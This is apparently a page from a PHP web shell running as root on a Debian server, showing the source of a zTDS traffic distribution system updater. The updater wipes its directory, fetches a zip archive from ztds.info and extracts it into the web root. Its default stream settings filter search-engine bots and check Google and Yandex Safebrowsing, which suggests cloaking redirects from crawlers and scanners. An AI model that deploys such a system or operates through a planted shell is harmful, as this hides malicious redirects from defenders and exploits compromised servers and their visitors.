HEX
Server: Apache/2.4.65 (Debian)
System: Linux srv39710 6.1.0-41-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.158-1 (2025-11-09) x86_64
User: root (0)
PHP: 8.4.11
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Upload Files
File: /var/www/www-root/data/www/greeen.click/tds/application/update.php
<?php
/* zTDS v.0.9.5 */
$last_update = array(
'pb' => 0.94,
'log' => 0.92,
'ini' => 0.95,
);
$mode = 1;//0 - без обновления файлов; 1 - с обновлением файлов; (0/1)
$msg = '<b>v.0.9.5</b><br><br>
Настройте config.php<br>
<br>
<b>Следите за ошибками в err.log!</b>';
if(file_exists(__DIR__."/config.php")){
	define("INDEX", "yes");
	require_once __DIR__.'/config.php';
}
else{
	err('Не найден config.php!');
}
@error_reporting(-1);
@ini_set('display_errors', 1);
@set_time_limit(0);
@ini_set('memory_limit', '-1');
preg_match("~^v\.([0-9])\.([0-9])\.([0-9])$~", $version, $matches);
$current_version = $matches[1].'.'.$matches[2].$matches[3];
if($current_version < 0.92){
	err('Слишком старая версия<br>Обновление невозможно :(');
}
if($disable_tds != 1){
	err('<b>Остановите TDS!</b><br>Переменная $disable_tds в config.php<br>');
}
if(!file_exists(__DIR__."/$folder_ini")){
	err('Не найдена папка с файлами .ini!');
}
dc();
$arr_id = array();
$files_ini = scandir(__DIR__."/$folder_ini");
foreach($files_ini as $v){
	$v = trim($v);
	if(preg_match("~^(.+?)\.ini$~", $v,  $matches)){
		$arr_id[] = $matches[1];
	}
}
if(empty($arr_id)){
	err('Не найдены файлы .ini!');
}
if($current_version < $last_update['pb']){
	repair_pb();
}
foreach($arr_id as $id){
	if($current_version < $last_update['log']){
		unlink(__DIR__."/$folder_log/$id.db");
	}
	$db = new SQLite3(__DIR__."/$folder_log/$id.db");
	$db->busyTimeout(60000);
	$db->exec("PRAGMA journal_mode = WAL;");
	$db->querySingle("BEGIN IMMEDIATE;");
	$db->querySingle("COMMIT;");
	$db->close();
}
if($current_version < $last_update['ini']){
	repair_ini();
}
if($mode == 0){
	echo $msg;
	exit();
}
$objects = scandir(__DIR__."/");
foreach($objects as $object){
	if($object != '.' && $object != '..' && $object != 'update.php' && $object != 'ini' && $object != 'key' && $object != 'log' && $object != 'temp'){
		if(is_file($object)){
			unlink($object);
		}
		else{
			rrmdir(__DIR__."/$object");
		}
	}
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://ztds.info/user/?q=update');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, 'zTDS');
$data = curl_exec($ch);
if(curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200){
	file_put_contents(__DIR__."/ztds.zip", $data, LOCK_EX);
	curl_close($ch);
}
else{
	err('Ошибка при загрузке архива!');
}
$zip = new ZipArchive;
if($zip->open(__DIR__."/ztds.zip") === true){
	if(!$zip->extractTo(__DIR__."/")){
		unlink(__DIR__."/ztds.zip");
		err('Ошибка при распаковке архива!');
	}
	$zip->close();
}
else{
	unlink(__DIR__."/ztds.zip");
	err('Ошибка при распаковке архива!');
}
if(!file_exists(__DIR__.'/temp')){
	mkdir(__DIR__.'/temp', 0755);
}
unlink(__DIR__."/application/alias.com.conf");
unlink(__DIR__."/application/api.php");
unlink(__DIR__."/application/md5.php");
unlink(__DIR__."/application/replace_out.php");
unlink(__DIR__."/application/update.php");
rmdir(__DIR__."/application");
unlink(__DIR__."/ztds.zip");
unlink(__DIR__."/changelog.txt");
unlink(__DIR__."/update.php");
echo $msg;
exit();
function repair_pb(){
	global $folder_log, $empty;
	if(!file_exists(__DIR__."/$folder_log/postback.db")){
		$db_pb_new = new SQLite3(__DIR__."/$folder_log/postback.db");
		$db_pb_new->busyTimeout(60000);
		$db_pb_new->exec("PRAGMA journal_mode = WAL;");
		$db_pb_new->querySingle("BEGIN IMMEDIATE;");
		$db_pb_new->querySingle("PRAGMA encoding = 'UTF-8'; PRAGMA journal_mode = WAL; CREATE TABLE 'postback' (id INTEGER PRIMARY KEY, date TEXT, time TEXT, domain TEXT, page TEXT, device TEXT, operator TEXT, country TEXT, city TEXT, asn TEXT, se TEXT, key TEXT, d1 TEXT, d2 TEXT, d3 TEXT, profit INTEGER, ngroup TEXT, nstream TEXT, cid TEXT, strtotime INTEGER);");
		$db_pb_new->exec("CREATE INDEX 'pb_idx1' ON 'postback' (domain, ngroup, nstream, strtotime);");
		$db_pb_new->exec("CREATE INDEX 'pb_idx2' ON 'postback' (cid);");
		$db_pb_new->querySingle("COMMIT;");
		$db_pb_new->close();
		return;
	}
	$db_pb_new = new SQLite3(__DIR__."/$folder_log/postback_new.db");
	$db_pb_new->busyTimeout(60000);
	$db_pb_new->exec("PRAGMA journal_mode = WAL;");
	$db_pb_new->querySingle("BEGIN IMMEDIATE;");
	if(!$db_pb_new->querySingle("SELECT name FROM sqlite_master WHERE type = 'table' AND name = 'postback';")){
		$db_pb_new->querySingle("PRAGMA encoding = 'UTF-8'; PRAGMA journal_mode = WAL; CREATE TABLE 'postback' (id INTEGER PRIMARY KEY, date TEXT, time TEXT, domain TEXT, page TEXT, device TEXT, operator TEXT, country TEXT, city TEXT, asn TEXT, se TEXT, key TEXT, d1 TEXT, d2 TEXT, d3 TEXT, profit INTEGER, ngroup TEXT, nstream TEXT, cid TEXT, strtotime INTEGER);");
		$db_pb_new->exec("CREATE INDEX 'pb_idx1' ON 'postback' (domain, ngroup, nstream, strtotime);");
		$db_pb_new->exec("CREATE INDEX 'pb_idx2' ON 'postback' (cid);");
	}
	$db_pb = new SQLite3(__DIR__."/$folder_log/postback.db");
	$db_pb->exec('PRAGMA journal_mode = WAL;');
	$db_pb->querySingle("BEGIN IMMEDIATE;");
	$res = $db_pb->query("SELECT * FROM postback;");
	while($array = $res->fetchArray(SQLITE3_ASSOC)){
		$key = $empty;
		if(!empty($array['key'])){
			$key = SQLite3::escapeString($array['key']);
		}
		$db_pb_new->querySingle("INSERT INTO 'postback' (date, time, domain, page, device, operator, country, city, asn, se, key, d1, d2, d3, profit, ngroup, nstream, cid, strtotime) VALUES ('".$array['date']."', '".$array['time']."', '".SQLite3::escapeString($array['domain'])."', '".SQLite3::escapeString($array['page'])."', '".$array['device']."', '".$array['operator']."', '".SQLite3::escapeString($array['country'])."', '".SQLite3::escapeString($array['city'])."', '".SQLite3::escapeString($array['asn'])."', '".$array['se']."', '".$key."', '".$array['d1']."', '".$array['d2']."', '".$array['d3']."', '".$array['profit']."', '".SQLite3::escapeString($array['ngroup'])."', '".SQLite3::escapeString($array['nstream'])."', '".$array['cid']."', '".$array['strtotime']."')");
	}
	$db_pb_new->querySingle("COMMIT;");
	$db_pb->querySingle("COMMIT;");
	$db_pb_new->close();
	$db_pb->close();
	unlink(__DIR__."/$folder_log/postback.db");
	rename (__DIR__."/$folder_log/postback_new.db", __DIR__."/$folder_log/postback.db");
}
function repair_ini(){
	global $dc_g, $dc_s, $arr_id, $folder_ini;
	foreach($arr_id as $id){
		$new_data = array();
		$old_data = unserialize(file_get_contents(__DIR__."/$folder_ini/$id.ini"));
		foreach($dc_g as $k => $v){
			if(isset($old_data[0][$k])){
				$new_data[0][$k] = $old_data[0][$k];
			}
			else{
				$new_data[0][$k] = $dc_g[$k];
			}
		}
		$x = 1;
		while(!empty($old_data[$x])){
			foreach($dc_s as $k => $v){
				if(isset($old_data[$x][$k])){
					$new_data[$x][$k] = $old_data[$x][$k];
				}
				else{
					$new_data[$x][$k] = $dc_s[$k];
				}
			}
			$x++;
		}
		file_put_contents(__DIR__."/$folder_ini/$id.ini", serialize($new_data), LOCK_EX);
	}
}
function rrmdir($dir){
	if(is_dir($dir)){
		$objects = scandir("$dir");
		foreach($objects as $object){
			if($object != "." && $object != ".."){
				if(filetype("$dir/$object") == "dir"){
					rrmdir("$dir/$object");
				}
				else{
					unlink("$dir/$object");
				}
			}
		}
		reset($objects);
		rmdir($dir);
	}
}
function err($msg){
	echo $msg;
	exit();
}
function dc(){
	global $dc_g, $dc_s, $wap;
	$dc_g = array(
	'g_id'=>'',
	'g_aliases'=>'',
	'g_name'=>'',
	'g_mode'=>'',
	'g_geo'=>'geolite2',
	'g_status'=>1,
	'g_uniq_method'=>0,
	'g_uniq_time'=>86400,
	'g_firewall'=>0,
	'g_f_queries'=>100,
	'g_f_time'=>86400,
	'g_save_keys'=>1,
	'g_save_keys_se'=>0,
	'g_comment'=>''
	);
	$dc_s = array(
	's_name'=>'',
	'redirect'=>'',
	'distribution_type'=>'rotator',
	's_out'=>'https://site.com',
	's_out_lm'=>strtotime('now'),
	'remote'=>0,
	'remote_cache'=>1800,
	'remote_regexp'=>'',
	'remote_reserved_out'=>'',
	'remote_url'=>'',
	'separation'=>0,
	'separation_file'=>'separation.dat',
	's_curl'=>'',
	'b_curl'=>'',
	'computer'=>2,
	'phone'=>2,
	'tablet'=>2,
	'other_devices'=>2,
	'country_flag'=>2,
	'country_text'=>'',
	'city_flag'=>2,
	'city_text'=>'',
	'region_flag'=>2,
	'region_text'=>'',
	'asn_flag'=>2,
	'asn_text'=>'',
	'org_flag'=>2,
	'org_text'=>'',
	'utc_flag'=>2,
	'utc_text'=>'',
	'os_flag'=>2,
	'os_text'=>'',
	'browser_flag'=>2,
	'browser_text'=>'',
	'lang_flag'=>2,
	'lang_text'=>'',
	'brand_flag'=>2,
	'brand_text'=>'',
	'ua_flag'=>2,
	'ua_text'=>'',
	'referer_flag'=>2,
	'referer_text'=>'',
	'domain_flag'=>2,
	'domain_text'=>'',
	'key_flag'=>2,
	'key_text'=>'',
	'ch_list_ip_flag'=>2,
	'list_ip_file'=>'choice.dat',
	'bot_redirect'=>'',
	'out_bot'=>'',
	'out_bot_lm'=>strtotime('now'),
	'remote_ip_ch'=>0,
	'remote_ip_ch_data'=>'',
	'ch_ipv6'=>0,
	'ch_bot_ip_baidu'=>0,
	'ch_bot_ip_bing'=>0,
	'ch_bot_ip_google'=>1,
	'ch_bot_ip_mail'=>0,
	'ch_bot_ip_yahoo'=>0,
	'ch_bot_ip_yandex'=>1,
	'ch_bot_ip_facebook'=>0,
	'ch_bot_ip_others'=>0,
	'save_ip'=>0,
	'ch_ua'=>1,
	'ch_ua_asn'=>0,
	'ch_ua_ip'=>0,
	'ch_empty_ua'=>1,
	'ch_empty_ref'=>0,
	'ch_empty_lang'=>0,
	'ch_empty_key'=>0,
	'ch_asn_se'=>1,
	'ch_asn_sn'=>0,
	'ch_asn_dc'=>0,
	'ch_asn_others'=>0,
	'ch_ptr'=>0,
	'chance'=>100,
	'unique_user'=>2,
	's_status'=>1,
	'comment'=>'',
	'sch_0'=>'',
	'sch_1'=>'',
	'sch_2'=>'',
	'sch_3'=>'',
	'sch_4'=>'',
	'sch_5'=>'',
	'sch_6'=>'',
	'limit'=>0,
	'limit_type'=>1,
	'limit_с'=>1000,
	'limit_h'=>21600,
	'limit_disable'=>0,
	'api_mac_exe'=>0,
	'api_mac'=>'',
	'api_mac_prob'=>20,
	'rkn'=>0,
	'av'=>0,
	'ch_option'=>2,
	'av_list'=>'Google Safebrowsing,Yandex Safebrowsing',
	'ch_out'=>''
	);
	foreach($wap as $v){
		$dc_s[$v] = 2;
	}
}
?>